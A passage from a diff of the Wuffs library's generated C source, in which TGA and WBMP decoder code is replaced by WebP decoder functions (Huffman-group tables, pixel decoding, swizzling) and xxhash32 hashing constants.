wuffs_base__status__is_ok(&v_status)) { +- status = v_status; +- if (wuffs_base__status__is_error(&status)) { +- goto exit; +- } else if (wuffs_base__status__is_suspension(&status)) { +- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ if (self->private_impl.f_n_bits < 3u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_1 = *iop_a_src++; ++ v_c8 = t_1; ++ } ++ if (self->private_impl.f_n_bits >= 3u) { ++ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_n_bits); + goto exit; + } +- goto ok; ++ self->private_impl.f_bits |= (((uint32_t)(v_c8)) << self->private_impl.f_n_bits); ++ self->private_impl.f_n_bits += 8u; + } +- v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); +- v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); +- if ((v_dst_bits_per_pixel & 7u) != 0u) { +- status = wuffs_base__make_status(wuffs_base__error__unsupported_option); +- goto exit; ++ v_tile_size_log2 = ((self->private_impl.f_bits & 7u) + 2u); ++ self->private_impl.f_bits >>= 3u; ++ self->private_impl.f_n_bits -= 3u; ++ self->private_impl.f_overall_tile_size_log2 = v_tile_size_log2; ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- v_dst_bytes_per_pixel = ((uint64_t)((v_dst_bits_per_pixel / 8u))); +- if ((self->private_impl.f_header_image_descriptor & 32u) == 0u) { +- v_dst_y = ((uint32_t)(self->private_impl.f_height - 1u)); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ status = wuffs_webp__decoder__decode_color_cache_parameters(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; + } +- if ((self->private_impl.f_header_image_type & 8u) == 0u) { +- v_lit_length = self->private_impl.f_width; ++ if (status.repr) { ++ goto suspend; ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ status = wuffs_webp__decoder__decode_huffman_groups(self, a_src, 1u); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; + } +- label__resume__continue:; + while (true) { +- v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); +- v_dst_palette = wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)); +- while (v_dst_y < self->private_impl.f_height) { +- v_dst = wuffs_base__table_u8__row_u32(v_tab, v_dst_y); +- v_dst_start = (((uint64_t)(v_dst_x)) * v_dst_bytes_per_pixel); +- if (v_dst_start <= ((uint64_t)(v_dst.len))) { +- v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_dst_start); +- } else { +- v_dst = wuffs_base__utility__empty_slice_u8(); +- } +- while (v_dst_x < self->private_impl.f_width) { +- if (self->private_impl.f_src_bytes_per_pixel > 0u) { +- if (v_lit_length > 0u) { +- v_mark = ((uint64_t)(iop_a_src - io0_a_src)); +- v_num_pixels64 = (((uint64_t)(io2_a_src - iop_a_src)) / ((uint64_t)(self->private_impl.f_src_bytes_per_pixel))); +- v_num_pixels32 = ((uint32_t)(wuffs_base__u64__min(v_num_pixels64, ((uint64_t)(v_lit_length))))); +- v_num_dst_bytes = (((uint64_t)(v_num_pixels32)) * v_dst_bytes_per_pixel); +- v_num_src_bytes = (v_num_pixels32 * self->private_impl.f_src_bytes_per_pixel); +- self->private_data.s_do_decode_frame[0].scratch = v_num_src_bytes; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- if (self->private_data.s_do_decode_frame[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_do_decode_frame[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src += self->private_data.s_do_decode_frame[0].scratch; +- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, wuffs_base__io__since(v_mark, ((uint64_t)(iop_a_src - io0_a_src)), io0_a_src)); +- if (v_num_dst_bytes <= ((uint64_t)(v_dst.len))) { +- v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_num_dst_bytes); +- } else { +- v_dst = wuffs_base__utility__empty_slice_u8(); +- } +- v_dst_x += v_num_pixels32; +- v_lit_length = (((uint32_t)(v_lit_length - v_num_pixels32)) & 65535u); +- if (v_lit_length > 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); +- goto label__resume__continue; +- } +- } else if (v_run_length > 0u) { +- v_run_length -= 1u; +- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, wuffs_base__make_slice_u8(self->private_data.f_scratch, self->private_impl.f_scratch_bytes_per_pixel)); +- if (v_dst_bytes_per_pixel <= ((uint64_t)(v_dst.len))) { +- v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_dst_bytes_per_pixel); +- } +- v_dst_x += 1u; +- } else { +- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); +- goto label__resume__continue; +- } +- if (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) < 128u) { +- v_lit_length = (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) + 1u); +- iop_a_src += 1u; +- if ((v_lit_length + v_dst_x) > self->private_impl.f_width) { +- status = wuffs_base__make_status(wuffs_tga__error__bad_run_length_encoding); +- goto exit; +- } +- } else { +- if (self->private_impl.f_src_bytes_per_pixel == 1u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 2u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); +- goto label__resume__continue; +- } +- v_run_length = ((((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) & 127u) + 1u); +- iop_a_src += 1u; +- self->private_data.f_scratch[0u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- iop_a_src += 1u; +- } else if (self->private_impl.f_src_bytes_per_pixel == 3u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(6); +- goto label__resume__continue; +- } +- v_run_length = ((((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) & 127u) + 1u); +- iop_a_src += 1u; +- self->private_data.f_scratch[0u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- iop_a_src += 1u; +- self->private_data.f_scratch[1u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- iop_a_src += 1u; +- self->private_data.f_scratch[2u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- iop_a_src += 1u; +- } else { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 5u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(7); +- goto label__resume__continue; +- } +- v_run_length = ((((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) & 127u) + 1u); +- iop_a_src += 1u; +- self->private_data.f_scratch[0u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- iop_a_src += 1u; +- self->private_data.f_scratch[1u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- iop_a_src += 1u; +- self->private_data.f_scratch[2u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- iop_a_src += 1u; +- self->private_data.f_scratch[3u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- iop_a_src += 1u; +- } +- if ((v_run_length + v_dst_x) > self->private_impl.f_width) { +- status = wuffs_base__make_status(wuffs_tga__error__bad_run_length_encoding); +- goto exit; +- } +- } +- } +- } else { +- if (v_lit_length > 0u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 2u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(8); +- goto label__resume__continue; +- } +- v_c = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); +- iop_a_src += 2u; +- v_c5 = (31u & (v_c >> 0u)); +- self->private_data.f_scratch[0u] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); +- v_c5 = (31u & (v_c >> 5u)); +- self->private_data.f_scratch[1u] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); +- v_c5 = (31u & (v_c >> 10u)); +- self->private_data.f_scratch[2u] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); +- self->private_data.f_scratch[3u] = 255u; +- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, wuffs_base__make_slice_u8(self->private_data.f_scratch, 4)); +- if (v_dst_bytes_per_pixel <= ((uint64_t)(v_dst.len))) { +- v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_dst_bytes_per_pixel); +- } +- v_dst_x += 1u; +- v_lit_length -= 1u; +- } else if (v_run_length > 0u) { +- v_run_length -= 1u; +- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, wuffs_base__make_slice_u8(self->private_data.f_scratch, self->private_impl.f_scratch_bytes_per_pixel)); +- if (v_dst_bytes_per_pixel <= ((uint64_t)(v_dst.len))) { +- v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_dst_bytes_per_pixel); +- } +- v_dst_x += 1u; +- } else { +- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(9); +- goto label__resume__continue; +- } +- if (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) < 128u) { +- v_lit_length = (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) + 1u); +- iop_a_src += 1u; +- if ((v_lit_length + v_dst_x) > self->private_impl.f_width) { +- status = wuffs_base__make_status(wuffs_tga__error__bad_run_length_encoding); +- goto exit; +- } +- } else { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 3u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(10); +- goto label__resume__continue; +- } +- v_run_length = ((((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) & 127u) + 1u); +- iop_a_src += 1u; +- v_c = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); +- iop_a_src += 2u; +- v_c5 = (31u & (v_c >> 0u)); +- self->private_data.f_scratch[0u] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); +- v_c5 = (31u & (v_c >> 5u)); +- self->private_data.f_scratch[1u] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); +- v_c5 = (31u & (v_c >> 10u)); +- self->private_data.f_scratch[2u] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); +- self->private_data.f_scratch[3u] = 255u; +- if ((v_run_length + v_dst_x) > self->private_impl.f_width) { +- status = wuffs_base__make_status(wuffs_tga__error__bad_run_length_encoding); +- goto exit; +- } +- } +- } +- } +- } +- v_dst_x = 0u; +- if ((self->private_impl.f_header_image_descriptor & 32u) == 0u) { +- v_dst_y -= 1u; +- } else { +- v_dst_y += 1u; ++ if ((((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[0u])) > ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[1u]))) || (((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[1u])) > ((uint64_t)(a_workbuf.len)))) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_workbuf_length); ++ goto exit; ++ } ++ { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- if ((self->private_impl.f_header_image_type & 8u) == 0u) { +- v_lit_length = self->private_impl.f_width; ++ wuffs_base__status t_2 = wuffs_webp__decoder__decode_pixels(self, ++ wuffs_base__slice_u8__subslice_ij(a_workbuf, ++ ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[0u])), ++ ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[1u]))), ++ a_src, ++ ((a_width + ((((uint32_t)(1u)) << v_tile_size_log2) - 1u)) >> v_tile_size_log2), ++ ((self->private_impl.f_height + ((((uint32_t)(1u)) << v_tile_size_log2) - 1u)) >> v_tile_size_log2), ++ wuffs_base__utility__empty_slice_u8(), ++ 0u); ++ v_status = t_2; ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; + } + } +- break; ++ if (wuffs_base__status__is_ok(&v_status)) { ++ break; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); ++ } ++ self->private_impl.f_overall_n_huffman_groups = 1u; ++ if ((((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[0u])) > ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[1u]))) || (((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[1u])) > ((uint64_t)(a_workbuf.len)))) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_workbuf_length); ++ goto exit; ++ } ++ v_hg_pixels = wuffs_base__slice_u8__subslice_ij(a_workbuf, ++ ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[0u])), ++ ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[1u]))); ++ v_n = ((uint64_t)((((a_width + ((((uint32_t)(1u)) << v_tile_size_log2) - 1u)) >> v_tile_size_log2) * ((self->private_impl.f_height + ((((uint32_t)(1u)) << v_tile_size_log2) - 1u)) >> v_tile_size_log2) * 4u))); ++ if (v_n > ((uint64_t)(v_hg_pixels.len))) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_workbuf_length); ++ goto exit; ++ } ++ v_p = wuffs_base__slice_u8__subslice_j(v_hg_pixels, v_n); ++ while (((uint64_t)(v_p.len)) >= 4u) { ++ if (v_p.ptr[2u] != 0u) { ++ status = wuffs_base__make_status(wuffs_webp__error__unsupported_number_of_huffman_groups); ++ goto exit; ++ } ++ v_hg_plus_1 = (((uint32_t)(v_p.ptr[1u])) + 1u); ++ if (self->private_impl.f_overall_n_huffman_groups < v_hg_plus_1) { ++ self->private_impl.f_overall_n_huffman_groups = v_hg_plus_1; ++ } ++ v_p = wuffs_base__slice_u8__subslice_i(v_p, 4u); + } +- self->private_impl.f_call_sequence = 96u; + + ok: +- self->private_impl.p_do_decode_frame[0] = 0; ++ self->private_impl.p_decode_hg_table = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_do_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_do_decode_frame[0].v_dst_bytes_per_pixel = v_dst_bytes_per_pixel; +- self->private_data.s_do_decode_frame[0].v_dst_x = v_dst_x; +- self->private_data.s_do_decode_frame[0].v_dst_y = v_dst_y; +- self->private_data.s_do_decode_frame[0].v_mark = v_mark; +- self->private_data.s_do_decode_frame[0].v_num_pixels32 = v_num_pixels32; +- self->private_data.s_do_decode_frame[0].v_lit_length = v_lit_length; +- self->private_data.s_do_decode_frame[0].v_run_length = v_run_length; +- self->private_data.s_do_decode_frame[0].v_num_dst_bytes = v_num_dst_bytes; ++ self->private_impl.p_decode_hg_table = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_hg_table.v_tile_size_log2 = v_tile_size_log2; + + goto exit; + exit: +@@ -60254,12 +75193,117 @@ wuffs_tga__decoder__do_decode_frame( + return status; + } + +-// -------- func tga.decoder.frame_dirty_rect ++// -------- func webp.decoder.decode_pixels ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__decode_pixels( ++ wuffs_webp__decoder* self, ++ wuffs_base__slice_u8 a_dst, ++ wuffs_base__io_buffer* a_src, ++ uint32_t a_width, ++ uint32_t a_height, ++ wuffs_base__slice_u8 a_tile_data, ++ uint32_t a_tile_size_log2) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint32_t v_i = 0; ++ uint32_t v_n = 0; ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_pixels; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ v_i = 0u; ++ v_n = (((uint32_t)(1u)) << self->private_impl.f_color_cache_bits); ++ while (v_i < v_n) { ++ self->private_data.f_color_cache[v_i] = 0u; ++ v_i += 1u; ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_webp__decoder__decode_pixels_slow(self, ++ a_dst, ++ a_src, ++ a_width, ++ a_height, ++ a_tile_data, ++ a_tile_size_log2); ++ if (status.repr) { ++ goto suspend; ++ } ++ ++ goto ok; ++ ok: ++ self->private_impl.p_decode_pixels = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_pixels = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ return status; ++} ++ ++// -------- func webp.decoder.swizzle ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__swizzle( ++ wuffs_webp__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__slice_u8 a_src, ++ wuffs_base__pixel_blend a_blend) { ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ wuffs_base__pixel_format v_dst_pixfmt = {0}; ++ uint32_t v_dst_bits_per_pixel = 0; ++ uint32_t v_dst_bytes_per_pixel = 0; ++ uint64_t v_dst_bytes_per_row = 0; ++ wuffs_base__slice_u8 v_dst_palette = {0}; ++ wuffs_base__table_u8 v_tab = {0}; ++ uint64_t v_src_bytes_per_row = 0; ++ wuffs_base__slice_u8 v_dst = {0}; ++ uint32_t v_y = 0; ++ ++ v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, ++ wuffs_base__pixel_buffer__pixel_format(a_dst), ++ wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_palette, 1024)), ++ wuffs_base__utility__make_pixel_format(self->private_impl.f_pixfmt), ++ wuffs_base__utility__empty_slice_u8(), ++ a_blend); ++ if ( ! wuffs_base__status__is_ok(&v_status)) { ++ return wuffs_private_impl__status__ensure_not_a_suspension(v_status); ++ } ++ v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); ++ v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); ++ if ((v_dst_bits_per_pixel & 7u) != 0u) { ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++ } ++ v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); ++ v_dst_bytes_per_row = ((uint64_t)((self->private_impl.f_width * v_dst_bytes_per_pixel))); ++ v_dst_palette = wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_palette, 1024)); ++ v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); ++ v_src_bytes_per_row = ((uint64_t)((self->private_impl.f_width * 4u))); ++ while (v_src_bytes_per_row <= ((uint64_t)(a_src.len))) { ++ v_dst = wuffs_private_impl__table_u8__row_u32(v_tab, v_y); ++ if (v_dst_bytes_per_row < ((uint64_t)(v_dst.len))) { ++ v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_dst_bytes_per_row); ++ } ++ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, wuffs_base__slice_u8__subslice_j(a_src, v_src_bytes_per_row)); ++ a_src = wuffs_base__slice_u8__subslice_i(a_src, v_src_bytes_per_row); ++ v_y += 1u; ++ } ++ return wuffs_base__make_status(NULL); ++} ++ ++// -------- func webp.decoder.frame_dirty_rect + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 +-wuffs_tga__decoder__frame_dirty_rect( +- const wuffs_tga__decoder* self) { ++wuffs_webp__decoder__frame_dirty_rect( ++ const wuffs_webp__decoder* self) { + if (!self) { + return wuffs_base__utility__empty_rect_ie_u32(); + } +@@ -60275,12 +75319,12 @@ wuffs_tga__decoder__frame_dirty_rect( + self->private_impl.f_height); + } + +-// -------- func tga.decoder.num_animation_loops ++// -------- func webp.decoder.num_animation_loops + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_tga__decoder__num_animation_loops( +- const wuffs_tga__decoder* self) { ++wuffs_webp__decoder__num_animation_loops( ++ const wuffs_webp__decoder* self) { + if (!self) { + return 0; + } +@@ -60292,12 +75336,12 @@ wuffs_tga__decoder__num_animation_loops( + return 0u; + } + +-// -------- func tga.decoder.num_decoded_frame_configs ++// -------- func webp.decoder.num_decoded_frame_configs + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_tga__decoder__num_decoded_frame_configs( +- const wuffs_tga__decoder* self) { ++wuffs_webp__decoder__num_decoded_frame_configs( ++ const wuffs_webp__decoder* self) { + if (!self) { + return 0; + } +@@ -60312,12 +75356,12 @@ wuffs_tga__decoder__num_decoded_frame_configs( + return 0u; + } + +-// -------- func tga.decoder.num_decoded_frames ++// -------- func webp.decoder.num_decoded_frames + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_tga__decoder__num_decoded_frames( +- const wuffs_tga__decoder* self) { ++wuffs_webp__decoder__num_decoded_frames( ++ const wuffs_webp__decoder* self) { + if (!self) { + return 0; + } +@@ -60332,12 +75376,12 @@ wuffs_tga__decoder__num_decoded_frames( + return 0u; + } + +-// -------- func tga.decoder.restart_frame ++// -------- func webp.decoder.restart_frame + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_tga__decoder__restart_frame( +- wuffs_tga__decoder* self, ++wuffs_webp__decoder__restart_frame( ++ wuffs_webp__decoder* self, + uint64_t a_index, + uint64_t a_io_position) { + if (!self) { +@@ -60353,31 +75397,30 @@ wuffs_tga__decoder__restart_frame( + if (self->private_impl.f_call_sequence < 32u) { + return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); + } +- if (a_index != 0u) { ++ if ((a_index != 0u) || (a_io_position != self->private_impl.f_frame_config_io_position)) { + return wuffs_base__make_status(wuffs_base__error__bad_argument); + } + self->private_impl.f_call_sequence = 40u; +- self->private_impl.f_frame_config_io_position = a_io_position; + return wuffs_base__make_status(NULL); + } + +-// -------- func tga.decoder.set_report_metadata ++// -------- func webp.decoder.set_report_metadata + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_tga__decoder__set_report_metadata( +- wuffs_tga__decoder* self, ++wuffs_webp__decoder__set_report_metadata( ++ wuffs_webp__decoder* self, + uint32_t a_fourcc, + bool a_report) { + return wuffs_base__make_empty_struct(); + } + +-// -------- func tga.decoder.tell_me_more ++// -------- func webp.decoder.tell_me_more + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_tga__decoder__tell_me_more( +- wuffs_tga__decoder* self, ++wuffs_webp__decoder__tell_me_more( ++ wuffs_webp__decoder* self, + wuffs_base__io_buffer* a_dst, + wuffs_base__more_information* a_minfo, + wuffs_base__io_buffer* a_src) { +@@ -60415,29 +75458,12 @@ wuffs_tga__decoder__tell_me_more( + return status; + } + +-// -------- func tga.decoder.history_retain_length +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_tga__decoder__history_retain_length( +- const wuffs_tga__decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } +- +- return 0u; +-} +- +-// -------- func tga.decoder.workbuf_len ++// -------- func webp.decoder.workbuf_len + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_tga__decoder__workbuf_len( +- const wuffs_tga__decoder* self) { ++wuffs_webp__decoder__workbuf_len( ++ const wuffs_webp__decoder* self) { + if (!self) { + return wuffs_base__utility__empty_range_ii_u64(); + } +@@ -60446,92 +75472,66 @@ wuffs_tga__decoder__workbuf_len( + return wuffs_base__utility__empty_range_ii_u64(); + } + +- return wuffs_base__utility__make_range_ii_u64(0u, 0u); ++ return wuffs_base__utility__make_range_ii_u64(((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[3u])), ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[3u]))); + } + +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__TGA) ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__WEBP) + +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__WBMP) ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH32) + + // ---------------- Status Codes Implementations + +-const char wuffs_wbmp__error__bad_header[] = "#wbmp: bad header"; +-const char wuffs_wbmp__error__truncated_input[] = "#wbmp: truncated input"; +- + // ---------------- Private Consts + +-// ---------------- Private Initializer Prototypes ++#define WUFFS_XXHASH32__XXH_PRIME32_1 2654435761u + +-// ---------------- Private Function Prototypes ++#define WUFFS_XXHASH32__XXH_PRIME32_2 2246822519u + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_wbmp__decoder__do_decode_image_config( +- wuffs_wbmp__decoder* self, +- wuffs_base__image_config* a_dst, +- wuffs_base__io_buffer* a_src); ++#define WUFFS_XXHASH32__XXH_PRIME32_3 3266489917u + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_wbmp__decoder__do_decode_frame_config( +- wuffs_wbmp__decoder* self, +- wuffs_base__frame_config* a_dst, +- wuffs_base__io_buffer* a_src); ++#define WUFFS_XXHASH32__XXH_PRIME32_4 668265263u ++ ++#define WUFFS_XXHASH32__XXH_PRIME32_5 374761393u ++ ++#define WUFFS_XXHASH32__INITIAL_V0 606290984u ++ ++#define WUFFS_XXHASH32__INITIAL_V1 2246822519u ++ ++#define WUFFS_XXHASH32__INITIAL_V2 0u ++ ++#define WUFFS_XXHASH32__INITIAL_V3 1640531535u ++ ++// ---------------- Private Initializer Prototypes ++ ++// ---------------- Private Function Prototypes + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_wbmp__decoder__do_decode_frame( +- wuffs_wbmp__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts); ++static wuffs_base__empty_struct ++wuffs_xxhash32__hasher__up( ++ wuffs_xxhash32__hasher* self, ++ wuffs_base__slice_u8 a_x); + + // ---------------- VTables + +-const wuffs_base__image_decoder__func_ptrs +-wuffs_wbmp__decoder__func_ptrs_for__wuffs_base__image_decoder = { +- (wuffs_base__status(*)(void*, +- wuffs_base__pixel_buffer*, +- wuffs_base__io_buffer*, +- wuffs_base__pixel_blend, +- wuffs_base__slice_u8, +- wuffs_base__decode_frame_options*))(&wuffs_wbmp__decoder__decode_frame), +- (wuffs_base__status(*)(void*, +- wuffs_base__frame_config*, +- wuffs_base__io_buffer*))(&wuffs_wbmp__decoder__decode_frame_config), +- (wuffs_base__status(*)(void*, +- wuffs_base__image_config*, +- wuffs_base__io_buffer*))(&wuffs_wbmp__decoder__decode_image_config), +- (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_wbmp__decoder__frame_dirty_rect), ++const wuffs_base__hasher_u32__func_ptrs ++wuffs_xxhash32__hasher__func_ptrs_for__wuffs_base__hasher_u32 = { ++ (uint32_t(*)(const void*))(&wuffs_xxhash32__hasher__checksum_u32), + (uint64_t(*)(const void*, +- uint32_t))(&wuffs_wbmp__decoder__get_quirk), +- (uint64_t(*)(const void*))(&wuffs_wbmp__decoder__history_retain_length), +- (uint32_t(*)(const void*))(&wuffs_wbmp__decoder__num_animation_loops), +- (uint64_t(*)(const void*))(&wuffs_wbmp__decoder__num_decoded_frame_configs), +- (uint64_t(*)(const void*))(&wuffs_wbmp__decoder__num_decoded_frames), +- (wuffs_base__status(*)(void*, +- uint64_t, +- 